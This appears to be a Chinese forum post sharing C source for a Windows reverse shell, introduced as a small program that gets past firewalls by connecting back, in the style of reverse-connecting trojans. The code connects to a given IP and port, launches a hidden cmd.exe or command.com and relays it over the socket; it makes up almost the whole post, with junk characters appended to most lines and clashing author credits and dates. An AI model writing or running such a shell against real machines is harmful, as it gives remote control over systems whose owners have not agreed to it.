这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _Wk*h}x
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/* ============================== ]a.^F
Rebound port in Windows NT ;"#y HP`
By wind,2006/7 KT 6ppo
===============================*/ #=0 BjW*
#include Y~!A"$
#include ? [5>!
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7
#pragma comment(lib,"wsock32.lib") B#`'h~(7
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void OutputShell(); \1#]qs -
SOCKET sClient; h 2JmRO
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xCWS
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void main(int argc,char **argv) PJ&L7
{ )FG/
WSADATA stWsaData; b>i5r$S8G
int nRet; S[hyN7sI
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) gMZ+kP`
{ _NwHT`O[
printf("Useage:\n\rRebound DestIP DestPort\n"); LXJ;8uW2y
return; 9@IL5 47V
} qQ3pe:n?
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WSAStartup(MAKEWORD(2,2),&stWsaData); GL-b})yy
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dIh+h|:
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stSaiClient.sin_family = AF_INET; tcRJ1:d
stSaiClient.sin_port = htons(0); cX4]ViXSr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K1R?Qt,qDF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -F*vN'
{ Pw +nO
printf("Bind Socket Failed!\n"); ? EHheZ{
return; SYf1dbc..u
} ?*
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stSaiServer.sin_family = AF_INET; \RPwSx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gs/o cu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dKD:mU",M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ."O%pL]!/b
{ SsZSR.tD
printf("Connect Error!"); z$~F9Es9
return; \/\w|j
} %K=_
OutputShell(); Wb cm1I)
} <Uj9~yVN]
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void OutputShell() {,*vMQ<^
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char szBuff[1024]; H[OgnnM
SECURITY_ATTRIBUTES stSecurityAttributes; IoK/ 2Gp
OSVERSIONINFO stOsversionInfo; }a9G,@:k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "lt5gu! `u
STARTUPINFO stStartupInfo; rev*G:
char *szShell; %yjD<2J;
PROCESS_INFORMATION stProcessInformation; v[8+fd)}S
unsigned long lBytesRead; 'DpJ#w\81
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n|rKo<Y0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bX:h"6{=R
stSecurityAttributes.lpSecurityDescriptor = 0; q3h&V
stSecurityAttributes.bInheritHandle = TRUE; i`+bSg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lQ!OD&6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %.$7-+:7A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yc_(g0NK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H=f|X<8
stStartupInfo.wShowWindow = SW_HIDE; ]b sabS?
stStartupInfo.hStdInput = hReadPipe; M3|G^q:l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dkCUU
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GetVersionEx(&stOsversionInfo); Xxd]j]
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switch(stOsversionInfo.dwPlatformId) >zL5*:G
{ z,^~H
case 1: )
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szShell = "command.com"; c>>.>^5
break; ]cmX f
default: uZJfIC<>
szShell = "cmd.exe"; iI7ocyUv
break; h4F%lGot
} Za3}:7`Gu
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /T(9:1/G
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send(sClient,szMsg,77,0); 2u!&Te(!9
while(1)
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{ gM=:80
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m9i/rK_
if(lBytesRead)
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{ hKWWN`;b !
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yrfV&C%=n
send(sClient,szBuff,lBytesRead,0); r@Jy*2[-Jq
} %Pt){9b
else /}L2LMIm
{ fHH
lBytesRead=recv(sClient,szBuff,1024,0); Rc1k_fZ}
if(lBytesRead<=0) break; xb9+- {<J
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S 593wfc
} g; ]'
} IVxZ.5:L$
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return; 2xX:Q'\2
}